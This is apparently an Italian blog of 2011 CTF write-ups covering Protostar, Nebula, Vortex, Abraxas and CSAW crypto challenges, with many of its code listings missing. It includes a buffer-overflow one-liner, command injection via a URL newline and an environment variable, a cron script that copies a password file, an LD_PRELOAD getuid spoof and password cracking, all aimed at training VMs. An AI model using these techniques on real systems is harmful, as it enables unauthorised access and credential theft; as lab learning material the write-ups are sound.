giovedì 15 dicembre 2011

Protostar Net2 writeup

Questo livello fa capire quanto importante siano le tuple... Imparate ad usarle perchè mi servivano per il livello zero di Vortex, questo tuple sono molto importanti negli script per la comunicazione... Spesso i dati sono inviati proprio come tuple, quindi saper identificare una tupla è molto importante... Infatti in un primo momento non capivo dove fossero gli altri 2 valori da sommare, che fine avessero fatto... Questo perchè avevo poco studiato il codice di Net2... Infatti non mi ero molto soffermato sul fatto che ci fosse una tupla definita dentro al codice C:

Da questo codice troviamo la porta sulla quale è in ascolto il servizio ed appunto la tupla... E troviamo la condizione da soddisfare, quell'if(result == wanted)... Io mi appoggio sempre a python per scrivere del codice, perchè è veloce... Anche se potevo decisamente migliorarlo... Ma non riesco ad assegnare una variabile al nome dentro ad un ciclo for... Piccoli problemi... Il codice tramite un ciclo for sarebbe stato più corto, ma insomma, io non ho mai studiato python... Questo il codice:

Questo codice fa largo uso di tuple... Nel primo dato ricevuto, salviamo solo la prima posizione, essendo comunque composto da un solo dato questa tupla... Nel secondo dato, salviamo i 3 dati della tupla... Poi assegnamo questi 3 valori a tre variabili(qua volevo mettere l'if, oppure usare la tupla direttamente senza passare per altre variabili, ma vabbè) e poi si somma tutto... Ho dato un print per avere un'idea della somma ed ho inviato i dati alla macchina sempre utilizzando struct... Per ultimo ho ricevuto il messaggio di successo... Questo livello mi è piaciuto...

mercoledì 14 dicembre 2011

Protostar Net1 writeup

Questo livello è praticamente identico al precedente... L'unica differenza trovata sta nella funzione strcmp(). Questa funzione effettua una comparazione di stringhe, quindi ho inviato il dato come stringa... Nulla di più... Ma ho risolto il problema da remoto, così da sfruttare geany, il mio editor preferito... Infatti presenta quella tab 'terminale' che mi consente di avere sotto il codice un terminale, così da non dover passare dall'editor al terminare vero e proprio esterno... Questo il codice del livello da cui ricavare la porta... L'indirizzo ip della macchina remota potrebbe essere diverso, ma penso di non doverlo nemmeno dire...

Appunto si legge che la porta sulla quale è attivo il servizio è la 998, e che l'if controlla due stringhe... strcmp() ritorna 0 se le stringhe sono uguali... Si legge benissimo nella pagina dedicata a strcmp()... Io ho usato sempre python, perchè consente, a chi non lo conosce, di poterlo sfruttare molto.. Ed ho usato le tuple... Per chi non ricorda cos'è una tupla, rimando alla pagina relativa al primo livello del wargame Vortex presente su OverTheWire, lì ho spiegato bene perchè alla fine di unpack() aggiungo [0]... Quindi questo il codice:

Provo a spiegare questo script... Alla settima riga si connette all'indirizzo della macchina remota sulla porta 2998, salva il primo dato, lo stampa sulla shell(io stampo tutto :D ) poi tramite struct lo spacchetta salvando solo il primo dato della tupla, mi stampa sulla shell il valore, salva questo valore come stringa, lo invia alla macchina e stampa il messaggio di invio corretto... Penso che sia abbastanza semplice e questa volta non presenta problemi...

Sicuramente si può ottimizzare, saltando un paio di passaggi ed un paio di print... Ma io gradisco i print per vedere se qualcosa va storto... E si poteva saltare il passaggio separato dell'unpack inserendolo dentro alla funzione str, sempre che questa accetti il dato... Non ho provato, perchè secondo me va bene così...

Protostar Net0 writeup

Mi sono bloccato al livello 5 della stessa macchina, devo ben capire come iniettare la shellcode... Per non fermarmi, e visto che di solito i primi livelli sono molto semplici, ho deciso di procedere con questo livello... Io l'ho fatto in locale questa volta, ma si poteva fare benissimo in remoto... Non cambia nulla, solo l'indirizzo della macchina... Visionando il codice del livello:

si capisce molto bene come procedere... Vogliamo soddisfare la condizione presente nell'if(i == wanted) per ottenere il messaggio corretto... Anche se wanted è un numero random, ci viene fornito dal primo printf()... Quindi non dobbiamo fare altro che leggere il dato ed inviarlo alla macchina, ovviamente come little endian 32 bit int...

Al solito mi affido al python... Molto semplice da utilizzare, e risolviamo tramite il modulo struct. Questo modulo ci permette con un semplice passaggio di inviare i dati in little endian... Prima di risolvere questo wargame si deve lanciare l'applicazione tramite il comando /opt/protostar/bin/net0... Poi in /tmp/ mettiamo il codice python e lo avviamo... Finiremo così il livello... Questo il codice:

Provo a spiegare come funziona lo script, anche se è semplicissimo... Alla settima riga si connette alla porta 2999(definita dal codice C), memorizza i dati inviati nella variabile dato, che per mia maggior comprensione stampa sulla shell... Da questa riga estrae il numero inviato random, lo stampa di nuovo sulla shell, lo converte poi come intero e lo passa alla funzione pack(), dove i simboli hanno chiaro significato se si è sbirciato il link precedente di struct... Lo invia alla macchina e riceve il messaggio di risposta dalla macchina...

Piccola pecca dello script... A volte la macchina manda un numero con un carattere in meno, quindi il codice salva anche l'apice che si trova alla fine del numero... In questo caso si ottiene un errore da parte della funzione num()... Niente di preoccupante, si riavvia lo script tante volte finchè il numero non è composta da 10 caratteri... Purtroppo non ho così esperienza da estrarre un numero da una stringa di caratteri... Avevo provato con il modulo re, ma quel 32bit finale non mi permette di utilizzare una sostituzione di caratteri... Quindi anche se non è la soluzione più bella, questa è una soluzione funzionante quando il numero inviato è di 10 caratteri... L'importante è finire...

sabato 10 dicembre 2011

Protostar Stack4 writeup

Il quarto livello degli stack overflow è praticamente identico al terzo livello, fatta eccezione che per sovrascrivere l'eip si ha bisogno di scrivere molto di più oltre al buffer, perchè come suggerisce anche il livello stesso negli hint, l'eip potrebbe non essere subito dopo il buffer... Ma in questo caso, con l'aiuto di un tool fornito dal pacchetto metasploit, si trova facilmente quante A scrivere per arrivare al buffer... Alla fine è completamente identico... Qui il codice del livello:

Il codice è comprensibilissimo anche per chi non conosce il C, l'obiettivo è richiamare una funzione, win(), che è inutilizzata durante il main()... Questi i comandi da dare per arrivare alla soluzione:

I due comandi pattern* vanno dati sulla macchina attaccante, e di solito i tools di metasploit si trovano in /opt/metasploit-4.1.4/msf3/tools/... Con pattern_create si realizza una stringa di caratteri da utilizzare quanto sovrascrivere prima di arrivare all'eip, quanto passare per ottenere la segmentation fault... Mentre con pattern_offset si ottiene proprio il valore che viene usato per scrivere, di solito la lunga serie di A...

Si ottiene che l'offset è di 76 char, poi abbiamo i 4 byte da assegnare all'eip, reindirizzandolo dove vogliamo, cioè alla funzione win(), come fatto nel livello precedente... Ecco il codice python da usare:

Come sempre gli indirizzi saranno diversi da macchina a macchina... Quindi il mio
0x63413563 sarà dverso, come pure l'indirizzo che io ho assegnato a shellcode dentro al codice python... Che è stato ribaltato per tenere conto del fatto che la macchina è in little endian... Quindi il byte più rappresentativo è all'ultimo posto... Io in questo modo ottengo il messaggio code flow successfully changed, ma anche il segmentation fault... Non sono riuscito ad eliminarlo, ma l'importante è ottenere il messaggio...

venerdì 9 dicembre 2011

Protostar Stack3 writeup

Era da un po' che non effettuavo un buffer overflow leggermente complesso... Questo è si facile, ma sicuramente su un livello superiore rispetto agli altri 3 livelli precedenti... Non mi ricordavo assolutamente niente... Quindi ho riguardato il mio video sul mio primo buffer overflow:



Quindi riguardando questo video mi è venuto di nuovo tutto in mente... Quello che cerchiamo è una "Segmentation fault" , quell'errore che ci permette di controllare l'eip, l'instruction pointer e rimandarlo dove più ci piace... La macchina, come già sappiamo, riceve i dati in little endian, quindi tutti gli offset vanno invertiti, dal byte più significativo all'ultimo, mentre gdb ce li restituisce in little endian... Alla fine si tratta solo di capovolgere l'offset...

In questo caso poi non ho usato il pattern_create di metasploit... Abbiamo il codice sorgente che ci informa del buffer, quindi stampiamo 64 A e abbiamo riempito il buffer... Ne aggiungiamo altre 4 per controllare che possiamo sovrascrivere l'eip, e fatto questo sempre con gdb troviamo l'offset della funzione win presente nel codice a cui ricollegarci... Il codice di questo livello è:


Qui si legge perchè io vado a cercare la funzione win, perchè così è definita dentro al codice sorgente. Ecco i comandi per gdb:


Il programma non mi accettava dentro python... Non so come mai... Ma tanto cambia poco... Con i r vediamo che l'eip è stato sovrascritto e con disassemble win troviamo il valore dell'ebp a cui ricollegarci... Per ogni macchina i valori sono diversi... Quindi i valori qui riportati potrebbero essere diversi, ma cambia poco... Dalla schermata di disassemble win prendere il primo valore in alto, quello con scritto accanto... Io riporto il mio codice a cui cambiare solo l'offset... Ovviamente in python:
Otteniamo così la frase code flow successfully changed...

mercoledì 7 dicembre 2011

Protostar Stack2 writeup

Oggi ho risolto questo livello... Solo uno per oggi... Questo livello presentava questo codice:

Il codice si comprende abbastanza... E' molto chiaro... La funzione getenv() chiama una variabile d'ambiente, e se non esiste ci ritorna il primo messaggio d'errore... Il nostro compito è effettuare uno stack overflow ed assegnare a modified il giusto valore... Come al solito il buffer è definito in alto di 64 caratteri... Quindi ho provato un po' fino ad ottenere, grazie all'aiuto di andrewg che si trova nella chat di overthewire, la soluzione al problema...

La mia soluzione avrebbe funzionato sul mio sistema attaccante(lubuntu 11.10 modificato) ma sul sistema protostar non funzionava... Non perchè errata, ma perchè export non accetta quello che gli passavo... Non mi era assolutamente passato in mente di definire la variable e poi assegnarla tramite export... Non pensavo che così l'avrebbe accettata, pensavo che l'errore sarebbe rimasto... Invece così funziona... Non so assolutamente perchè... O l'accetti sempre o non l'accetti mai... Ed io che pensavo che la mia soluzione fosse sbagliata... Ecco qui il codice:

Poche righe anche questa volta... Io uso sempre python per la sua semplicità... E perchè si capisce al volo... In pratica stampiamo 64 A seguite dal valore della variabile modified che vogliamo sovrascrivere... Otteniamo il messaggio di successo... Ho dato solo uno sguardo a stack3.... Non ho mai trovato prima d'ora una variabile con gdb e objdump... Ogni aiuto è ben accetto...

martedì 6 dicembre 2011

Protostar Stack1 writeup

Questo livello è un po' più divertente... Questi sono old style hack... Oggi difficilmente si troveranno nella vita reale... Questo il codice del livello 1:

Qui si nota la funzione strcpy()... Famosissima insieme alla funzione gets() per essere vulnerabile... Però dobbiamo anche ricordarci, come dicono pure le istruzioni del livello, che la macchina opera in little endian... Quindi la nostra variabile ha il byte più significativo per ultimo... Io ho risolto il livello con l'uso di gdb, perchè altrimenti non riuscivo a passare il livello... Non so... Alla fine cambia poco, il livello lo si passa ricevendo la frase di esecuzione riuscita... Quindi faccio:

Quello che si va è passare al programma 64 A più il codice richiesto in little endian... Infatti il 64 prima è nella parte finale invece nel codice è il primo dato, per la regola che il byte significativo in little endian è l'ultimo...

Protostar Stack0 writeup

Visto che sono bloccato(penso di aver trovato la vulnerabilità, ma non riesco a sfruttarla) al livello9 del Nebula CTF, ho deciso di dedicarmi un po' al Protostar CTF... Per scaricare l'immagine basta andare su sito di exploit-exercises e seguire le indicazioni... Questa prima release potrebbe avere bugs... Ma procediamo con il primo semplicissimo livello... Stack0... E' forse il più semplice caso, quello che si incontra sempre... Quello che viene sempre preso come esempio di buffer overflow... Il codice è semplice:

Tutto il problema sta nella funzione gets()... Questo ci permette appunto di sovrascrivere il buffer e cambiare la variabile... Io uso il python, perchè è abbastanza semplice ed immediato... Questo il comando usato:

python -c 'print "\x41"*65' | ./stack0

Questo comando passa al programma 65 A... Quindi sovrascriviamo il buffer di 64 byte... Ok, per spiegarmi meglio rimando al sempre bello articolo di phrack Smashing The Stack For Fun And Profit_by_Aleph1 che è sempre bene leggere. Qui finisce il livello zero... Otteniamo infatti la frase:
you have changed the 'modified' variable

sabato 3 dicembre 2011

Nebula level08 writeup

Questo livello richiede di analizzare un file pcap... Cosa semplice se si analizza in locale con wireshark... Quindi mi sono segnato la posizione del file e l'ho copiato con scp... Ho avviato wireshark, aperto il file, cliccato sulla prima comunicazione con il tasto destro, selezionato "Follow TCP Stream" ed ottenuto il codice... Questa password non funziona da nessuna parte, probabilmente perchè è per un'altra macchina... Ma alla fine il lavoro è fatto... Ecco il comando con il codice che si ottiene:

La password è contenuta qui "Password: backdoor...00Rm8.ate"... Strano che la comunicazione non sia criptata per dare un tocco più carino al livello...

Nebula level07 writeup

Questo livello ha una vulnerabilità nel codice perl, perchè non controlla i parametri passati come Host... Quindi si può passare qualsiasi cosa che il codice comunque prenderà per buona... Ci serve un solo comando per l'exploit...
http://nebula:7007/index.cgi?Host=x%0agetflag
Come si legge dal file thttpd.conf lo script ha i permessi di flag07, quindi ci permette di lanciare getflag... Ovviamente otterremo così il codice di successo...

Nebula level06 writeup

Questo livello proprio non l'ho capito... Non saprei perchè si è fatta una cosa del genere... La password di flag06 è mostrata in chiaro dentro a /etc/passwd... Non ci resta che copiarla, crackarla con john e loggarci tramite ssh con l'accout flag06... Avviare getflag che ci infermerò del successo... Molto veloce...

L'uso di john è immediato se già altre volte lo si è usato, ed ho preso una wordlists contenuta nel pacchetto di metasploit... Livello semplice e veloce...

Nebula level05 writeup

Questo livello era basato sulle deboli impostazioni dei permessi di un file... Infatti il file che ci interessava era un backup presente in una cartella nascosta con permessi -rw-rw-r-- ... Significa che il nostro permesso era solo in lettura(read)... Ma abbastanza per copiarlo ed estrarlo nella cartella /tmp, e leggerne il contenuto... Anche in questo livello niente getflag... Dopo l'estrazione si ottiene la cartella .ssh, con 3 file importantissimi...Ecco i comandi:

Il livello finisce così... Si passa al livello 06...

giovedì 1 dicembre 2011

Nebula level04 writeup

Anche questo livello è stato molto semplice... Io però ho trovato un problema... Che ho risolto sempre grazie a Steven che si presta sempre ad aiutare... Lo potete trovare nella chat di overthewire... Il mio problema era dovuto all'uso improprio di ln -s... Perchè il link del file sorgente e del file destinazione devono avere gli indirizzi completi, estesi... Io sbagliavo quello...

Come sempre leggere le istruzioni del livello porta notevoli vantaggi... Dal codice risulta la funzione strstr(), che ci vieta di aprire il file token, che è il nostro obiettivo... Se l'argomento passato contiene token allora la funzione è diversa da NULL, se invece la condizione non è soddisfatta si ottiene NULL... Più informazioni qui...

Quindi creiamo un link simbolico al token, chiamandolo in modo diverso, così da bypassare il controllo:


Questi sono i comandi... Si ottiene un certo codice contenuto dentro al token...

Nebula level03 writeup

Questo livello si risolve abbastanza facilmente... Non otterremo una shell interattiva, ma un file di log che ci indica che il nostro obiettivo è stato raggiunto... Qui le info del livello:
Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
Importante capire lo script bash che viene eseguito in crontab ogni 2 minuti... Infatti lo script, per ogni elemento presente nella cartella writable.d, esegue il comando bash -x $i... Quindi noi creiamo un file dentro questa cartella, e poi leggiamo il log che inseriremo in /tmp... Non ho ben capito perchè apre il file invece di eseguire il nome del file... Però funziona... Infatti dentro al file di log dentro /tmp troveremo la frase di successo... Ecco i comandi da dare... Ovviamente prima di leggere il log bisogna aspettare il crontab...

Qui finisce il livello 03...

Nebula level02 writeup

Non so se questa è la soluzione corretta, ma getflag mi da il solito successo, quindi credo che almeno sia accettabile... Chiederò se questa soluzione va bene... Comunque seguendo in linea di principio il livello precedente, sono andato a modificare con il comando export la variabile d'ambiente USER... Ho usato un solo comando e poi ho lanciato il programma...
export USER="level02;getflag"
/home/flag02/flag02
Credo che sia tutto qui...

mercoledì 30 novembre 2011

Nebula level01 writeup

Il livello 01 ha un leggerezza nel codice che è sfruttabile tramite il comando export $PATH... La leggerezza sta nell'usare
system("/usr/bin/env echo and now what?");
nel codice... Per comprendere perchè questo livello rientra nel caso dei $PATH weaknesses si deve comprendere come lavora env... Infatti va a ricercare dentro a $PATH il comando echo... Questo comporta che modificando $PATH e scrivendo il proprio echo, compilando con gcc si può eseguire un comando a piacere... Ed è proprio questa la vulnerabilità del codice... Così si può scrivere con poche righe qualcosa del genere:

Basta poco e si può ottenere un comando echo personalizzato... Si compila e si imposta la nuova $PATH e si lancia il flag01 contenuto dentro alla cartella /home/flag01/... Questi i comandi, dentro al file echo.c incollare il codice soprastante:

Penso che il livello 01 sia risolto, anche perchè getflag dice che è corretto...

Nebula level00 writeup

Visto che sono bloccato e non so andare affatto avanti nel wargame Abraxas, ho deciso di trovare un nuovo wargame che mi aiuti ad andare avanti in Abraxas, visto che quest'ultimo è troppo complicato per le mie risorse... Così ho deciso di affiancare ad Abraxas questo Nebula... Sembra anche carino... Per prima cosa si deve prendere l'immagine da qui... L'immagine non viene caricata direttamente da Virtualbox, che mi da errore... Allora io estraggo tutto con 7z, per ottenere il file immagine del disco... Ho eliminato tutto e tenuto solo il file vmdk e l'ovf... Ho modificato l'ovf così:


Copiate questo per avere un ovf funzionante con Virtualbox...Alla fine ho scelto una rete privata, ed ho iniziato il wargame... Si deve prendere dal sito la descrizione del livello, per sapere cosa fare, e per essere certi di averlo fatto nel modo corretto si deve lanciare il comando getflag... Per il primo livello il wargame richiedeva questo:

This level requires you to find a Set User ID program that will run as the "flag00" account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
To access this level, log in as level00 with the password of level00 .
Niente di troppo complicato... Infatti credo che questo livello servisse solo per entrare a far parte del ruxcon ctf, solo per farsi registrare al ctf... Infatti non è un vero livello... Dobbiamo trovare un programma che sia collegato all'account flag00... Logghiamoci tramite ssh con user=level00 e pass=level00, leggere le istruzioni per capire perchè...Troviamo prima tramite il comando
cat /etc/passwd
che l'account flag00 è contraddistinto dall'uid=999...Allora lanciamo il comando
find / -uid 999
e troviamo il file flag00 dentro alla cartella /bin/.../flag00... Lanciamolo e lanciamo pure getflag:
cd /bin/.../flag00

./flag00
getflag
Finiremo così il level00...

mercoledì 16 novembre 2011

Vortex livello 0 writeup

Visto che sono fermo con il livello 4 di abraxas, ho deciso di continuare a divertirmi con qualche altro wargame... Sempre di questo genere qua... Quelli della otherthewire sono molto belli... Quindi ho iniziato con il primo livello, anzi il livello 0... Quello che tutti sanno fare... Non è molto difficile alla fine... Basta ricordarsi due cose di python, cioè come trattare i dati in little endian e come usare le tuple... Niente di impossibile visto che python è semplice da capire... Basta leggere queste due pagine:

 Struct

 Tuple

Con queste due sole letture, e rifacendomi al livello 1 di abraxas(è abbastanza simile) si arriva a scrivere questo codice molto banale nell'interpretazione:


Il codice è molto corto come si vede... Nella terza e quarta riga importiamo le librerie necessarie, nella settima riga definiamo il target, nella nona inizializziamo somma a zero per non avere problemi, nella undicesima impostiamo il loop, nella diciassettesima rimandiamo i dati al target  ed aspettiamo una risposta... Infine chiudiamo il collegamento... Due piccole precisazioni... Sono arrivato a scegliere range(4) dopo 4 tentativi, altrimenti avrei introdotto un loop condizionale sulla risposta... In più i dati devono essere trattati con unpack, dove I sta per unsigned int con dimensione 4, mentre < indica little-endian ... Penso che più non si possa dire... Adesso passo al livello 1, dove come lettura consigliata c'è la famosa Smashing the Stack for Fun and Profit.

Spero che questi wargames mi aiutino nel completare l'abraxas...

giovedì 3 novembre 2011

Abraxas 2011 - writeup level3

Il livello 3 mi ha permesso di esaminare un nuovo tool che è presente in qualsiasi distro linux ma che io non conoscevo... Il tool è strace, e rimando a wikipedia per una prima infarinatura... In pratica monitora le chiamate e le operazioni dello script lanciato... Questo tool mi è stato suggerito sempre da Steven...

Questo tool mi ha permesso di scoprire come lo script che avevo a disposizione operasse segretamente, cioè fornendomi le informazioni necessarie per capire che lo script cercava dentro una cartella delle chiamate ad altri script... Forse potevo intuirlo dal codice, ma solo il codice non mi dava molte informazioni... Come sempre si deve leggere il blog dell'agente 7a69, per avere qualche informazione in più:
She created software to process data from the life support systems and generate statistics. The life support system code depends on some kernel module that hasn't been developed yet so she's currently testing with generated datasets. The entire thing is written in bash and runs as a cronjob every 10 minutes.
 Le informazioni necessarie sono contenute nell'ultima riga... Cioè che gli script sono scritti in bash(si poteva capire anche dalla visione del sorgente degli script) e che ogni 10 minuti vengono eseguiti da cron... Quindi ho fatto 2 cose... Controllare cron per capire qualcosa in più:

cat /etc/cron.d/lifesupport_process

Da qui si nota che il processo viene avviato dall'utente level3, che è quello di cui cerchiamo la password... Ritornando allo script, notiamo che non trovando dentro /opt/lifesupportdata/ lo script common.inc.sh lo va a cercare nella seconda cartella definita da PATH, ma che comunque esegue sempre il controllo per vedere se è presente nella cartella suddetta...

Ho quindi creato dentro ad /opt/lifesupportdata/ un semplicissimo script in bash:

cd /opt/lifesupportdata/
nano common.inc.sh

#!/bin/bash
echo "Ciao" >> /tmp/file
cat /etc/pass/level3 >> /tmp/file

Il "Ciao" non serve a dir la verità, ma vabbè, l'ho messo così... Adesso lo script troverà nella prima PATH il secondo script che vuole includere, e così possiamo fargli aprire il file contenente la password grazie all'aiuto di cron... In un primo momento non funzionava, poi ho riavviato e lo script mi ha dato la password cercata...

Adesso abbiamo la password dell'utente level3, possiamo usare questo utente per proseguire nel wargame... Tutto il wargame si basa sull'analisi dello script, e dell'uso di strace... Infatti proprio questo mi ha fatto notare come lo script funzionasse...

lunedì 31 ottobre 2011

Abraxas 2011 - writeup level2

Questo livello 2 si è concluso molto più velocemente rispetto al livello 1, che mi ha richiesto di scrivere 30 righe di codice, ed io ovviamente non lo faccio di mestiere...

Come l'altra volta si deve prima leggere il blog dell'agente:
So naturally, since he couldn't shut up about it anyway, I heard a lot about his work experience at DFS. Bryant wrote the power module of the space station. His motto seems to be "security through obscurity" and he was very vague about his software. All I learned is that it is written in C and authenticates the user with his user ID.

He also told me that it's corporate policy to have backdoors in the system. In case an employee leaves or dies, another employee can have access to the abandoned module. For that reason, each employee has access to all other employees' homedirectories and passwords are stored centrally in /etc/pass.
Quindi sappiamo che il programma è scritto in C... E' un'importante notizia, perchè troviamo che C tramite la chiamata getuid restituisce l'uid dell'utente... Da questo livello ho imparato una cosa nuova... La possibilità di passare variabili esterne arbitrarie ai programmi scritti in C... E' un'importante notizia da tenere in mente...

Il programma recover se avviato fa subito un controllo sul nostro uid... E ci dice che per avviare il programma dobbiamo avere l'uid=1002... Questa è un'altra importante notizia...

Allora troviamo una cartella che in cui abbiamo permessi in scrittura(/tmp da me non funzionava, ho così usato su suggerimento di Steven della chat di overthewire /dev/shm/) e creiamo una libreria condivisa per C... Ecco i comandi che ho usato io:


cd /dev/shm
mkdir livello2
cd livello2
nano fakelib.c
gcc -shared fakelib.c libfake.so
LD_PRELOAD=./libfake.so /home/level2/bin/recover


// libfake.c

int getuid() {
  return 1002;
}


Così otteniamo la password per il levello2... Ora possiamo loggarci tramite ssh come utente level2...

ps: grazie ancora a Steven per avermi indirizzato verso LD_PRELOAD...

giovedì 27 ottobre 2011

Abraxas 2011 - writeup level1

Finalmente posso dire, che con diversi aiuti sul python e qualche dritta su come arrivare alla soluzione(mai troppo dettagliate come dritte), sono finalmente arrivato a finire il livello 1 dell'Abraxas 2011 presentato all'HES2011 a Parigi. Direi che i CTF creati dal gruppo overthewire sono impossibili, oppure richiedono già una buona dose di conoscenza in fatto di crittografia... Perchè io fino a qualche giorno fa(quando ho pubblicato pure il writeup della sezione crypto di non ricordo quale CTF) non sapevo nemmeno cosa fossero XOR, cifrari di Cesare e via dicendo...

Per risolvere il primo livello di questo CTF non occorrono poi alla fine ottime conoscenze in linguaggi di programmazione, ma solo un po' di pazienza... Infatti su google si trovano sempre esempi molto utili, soprattutto per i linguaggi di programmazione nuovi, che consentono di capirne il significato anche ai meno preparati...

Io ho scelto di usare python, che non conosco, ma che si rivela sempre molto semplice... Infatti conoscendo un po' d'inglese si comprendono i linguaggi vari, ed avendolo pure usato per altre comunicazioni di rete, e per un BOF, mi sembrava il caso di usare lo stesso linguaggio...

Prima di procedere ad elencare la soluzione(che ovviamente poteva essere risolta in C,C#,C++,perl,ruby ecc) bisogna scaricare l'immagine dal sito della overthewire e seguire le istruzioni riportate nel box... Quindi leggere il blog del finto agente che ci fornisce delle informazioni necessarie per proseguire... Il sito dell'agente per il livello 1 ci propone le seguenti informazioni:

It seems the communications software Mazur wrote for the DFS space station uses very weak encryption. And be very weak I mean it really sucks. From his design documents, I've been able to gather that he uses XOR for performance reasons and a rolling key of only 4 ASCII characters!

Lucky for me, the space station is connected to the internet through a satellite communications provider. The hostname they use for the space station, which is called abraxas by the way, is abraxas.dildosfromspace.com. The communications module can be acivated through "secure" connection to port 4373.

The communications module displays a banner with lots of spaces and '#' signs in it, which should make the decryption easier.

Ci comunica che il cifrario utilizzato è XOR e la chiave d'accesso è composta di soli 4 caratteri... In più ci si deve collegare alla porta 4373 della macchina virtuale per avviare la connessione sicura... La prima parte, cioè la ricerca della chiave si risolve semplicemente con netcat e uno strumento chiamato xortool... netcat deve contenere l'opzione -o per seguire i comandi qui sotto, perchè ho notato che la versione BSD non presenta questa opzione... Io uso una lubuntu modificata per queste cose, quindi tramite synaptic si può scegliere di mantenere la versione netcat-tradizional... Comunque queste sono le istruzioni per avere i tool come li ho io...

#!/bin/bash

#Installa xortool
mkdir /pentest/crypto/
cd /pentest/crypto/
wget https://github.com/hellman/xortool/zipball/master -O xortool.zip
unzip xortool.zip
rm xortool.zip
cd ~

#Installa netcat
apt-get install -y netcat-traditional

E' un semplice codice bash, che avviato installerà xortool e netcat...

Allora per il primo passo digitiamo sulla shell:


nc -o log 192.168.66.66 4373
cat log | cut -d" " -f3-18 > key
cd /pentest/crypto/hellman-xortool-80cedef/
./xortool.py -x /home/user/key -c20

Questo ci consente di trovare la chiave usata nel cifrario... Infatti XOR è un metodo di cifratura molto debole... Le opzioni usate non sto a spiegarle... Sono molto semplici... Ho usato -c20 per indicare che il carattere più comune in hex fosse lo spazio...

Con questa chiave dfs! l'ho usata per decifrare le comunicazioni con la porta 4373... Questo il codice python da me utilizzato:


#!/usr/bin/env python

from socket import *
from Crypto.Cipher import XOR  

key='dfs!'
encryptor=XOR.new(key)
decryptor=XOR.new(key)

s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.66.66', 4373))

testo = ''.join(s.recv(1024) for _ in range(4))
decifrato = encryptor.encrypt(testo)
print decifrato

data='1\r'
datac=decryptor.decrypt(data)
s.send(datac)

testo2 = ''.join(s.recv(1024) for _ in range(2))
decidata2=encryptor.encrypt(testo2)
print decidata2

s.close()

Adesso forse non sarà il codice meglio impostato o più veloce, ma io non studio informatica, e non conosco affatto python... Ci arrivo con l'intuito, ma tutto qui... Come dicevo, python poi è molto semplice, basta poco per leggerlo un po'...

Adesso proverò a risolvere il livello 2... Non si preannuncia facile...

ps:un grazie a Steven per avermi dato dei suggerimenti... Ed un grazie a Bakuriu del forum python-it per avermi indicato la soluzione per memorizzare stringhe dentro un unico file...

sabato 1 ottobre 2011

CSAW - 11 sezione crypto

Sto cercando di risolvere il mio primo wargames, composto da una serie di livelli in cui si deve accedere. Questo wargames è presentato da overthewire, è disponibile da poco e si chiama Abraxas. Dire che è impossibile per me è dire poco... Sono fermo al livello 0, e non riesco a risolverlo... Non ho mai avuto a che fare con la crittografia, e quella presente in Abraxas è molto difficile... Così ho deciso di imparare tramite qualche esempio... Il CTF CSAW11 ha avuto una sezione dedicata... Iniziamo con il primo.


Primo esempio
 
Cipher text: 87 101 108 99 111 109 101 32 116 111 32 116 104 101 32 50 48 49 49 32 78 89 85 32 80 111 108 121 32 67 83 65 87 32 67 84 70 32 101 118 101 110 116 46 32 87 101 32 104 97 118 101 32 112 108 97 110 110 101 100 32 109 97 110 121 32 99 104 97 108 108 101 110 103 101 115 32 102 111 114 32 121 111 117 32 97 110 100 32 119 101 32 104 111 112 101 32 121 111 117 32 104 97 118 101 32 102 117 110 32 115 111 108 118 105 110 103 32 116 104 101 109 32 97 108 108 46 32 84 104 101 32 107 101 121 32 102 111 114 32 116 104 105 115 32 99 104 97 108 108 101 110 103 101 32 105 115 32 99 114 121 112 116 111 103 114 97 112 104 121 46

E' semplice vedere che si tratta di un codice decimale. Quindi basta andare su xlate e convertire:

Welcome to the 2011 NYU Poly CSAW CTF event. We have planned many challenges for you and we hope you have fun solving them all. The key for this challenge is cryptography.

Questo primo esempio è stato molto veloce.

Secondo esempio
 
54:68:69:73:20:69:73:20:74:68:65:20:66:69:72:73:74:20:6d:65:73:73:61:67:65:20:62:65:69:6e:67:20:73:65:6e:74:20:74:6f:20:79:6f:75:20:62:79:20:74:68:65:20:6c:65:61:64:65:72:73:68:69:70:20:6f:66:20:74:68:65:20:55:6e:64:65:72:67:72:6f:75:6e:64:20:55:70:72:69:73:69:6e:67:2e:20:49:66:20:79:6f:75:20:68:61:76:65:20:64:65:63:6f:64:65:64:20:74:68:69:73:20:6d:65:73:73:61:67:65:20:63:6f:72:72:65:63:74:6c:79:20:79:6f:75:20:77:69:6c:6c:20:6e:6f:77:20:6b:6e:6f:77:20:6f:75:72:20:6e:65:78:74:20:6d:65:65:74:69:6e:67:20:77:69:6c:6c:20:62:65:20:68:65:6c:64:20:6f:6e:20:57:65:64:6e:65:73:64:61:79:20:40:20:37:70:6d:2e:20:57:65:20:77:69:6c:6c:20:61:6c:73:6f:20:72:65:71:75:69:72:65:20:61:20:6b:65:79:20:74:6f:20:62:65:20:6c:65:74:20:69:6e:74:6f:20:74:68:65:20:6d:65:65:74:69:6e:67:73:3b:20:74:68:69:73:20:77:65:65:6b:1f:73:20:6b:65:79:20:77:69:6c:6c:20:62:65:20:6f:76:65:72:74:68:72:6f:77:2e

Questo è un codice hex.Quindi basta andare su xlate e convertire:


This is the first message being sent to you by the leadership of the Underground Uprising. If you have decoded this message correctly you will now know our next meeting will be held on Wednesday @ 7pm. We will also require a key to be let into the meetings; this weeks key will be overthrow.

Terzo esempio
 
010011000110000101110011011101000010000001110111011001010110010101101011011100110010000001101101011001010110010101110100011010010110111001100111001000000111011101100001011100110010000001100001001000000110011101110010011001010110000101110100001000000111001101110101011000110110001101100101011100110111001100101110001000000101011101100101001000000111001101100101011001010110110100100000011101000110111100100000011000100110010100100000011001110110010101101110011001010111001001100001011101000110100101101110011001110010000001100001001000000110110001101111011101000010000001101111011001100010000001100010011101010111101001111010001000000110000101100010011011110111010101110100001000000111010001101000011001010010000001101101011011110111011001100101011011010110010101101110011101000010111000100000010101000110100001100101001000000110101101100101011110010010000001100110011011110111001000100000011011100110010101111000011101000010000001110111011001010110010101101011011100110010000001101101011001010110010101110100011010010110111001100111001000000110100101110011001000000111001001100101011100110110100101110011011101000110000101101110011000110110010100101110001000000100100101100110001000000111010001101000011001010111001001100101001000000110100101110011001000000110000101101110011110010110111101101110011001010010000001100101011011000111001101100101001000000111100101101111011101010010000001101011011011100110111101110111001000000110111101100110001000000111010001101000011000010111010000100000011011010110000101111001001000000110001001100101001000000110100101101110011101000110010101110010011001010111001101110100011